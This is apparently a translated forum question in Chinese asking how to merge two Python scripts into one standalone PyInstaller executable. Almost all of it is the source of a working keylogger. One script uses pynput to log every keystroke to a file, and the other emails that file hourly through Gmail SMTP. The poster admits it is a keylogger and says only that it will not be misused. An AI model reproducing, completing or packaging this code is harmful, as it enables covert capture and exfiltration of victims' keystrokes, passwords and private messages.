我有2个需要同时运行的python文件才能运行,我想使用pyinstaller将它们转换为一个可执行文件。另外,如果有可能将它们转换为独立的EXE(一个不带任何文件夹的EXE文件),那就太棒了。
我正在使用python 3.7
我的两个文件是:
from pynput import keyboard
def on_press(key):
file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
file.write(str(key))
file.close()
with keyboard.Listener(on_press=on_press) as Listener:
Listener.join()
并且:
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import threading
def sendlog():
threading.Timer(3600.0, sendlog).start()
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))
filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment =open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"password")
server.sendmail(email_user,email_send,text)
server.quit()
sendlog()
是的,它是一个键盘记录程序,不,它不会被用于恶意目的。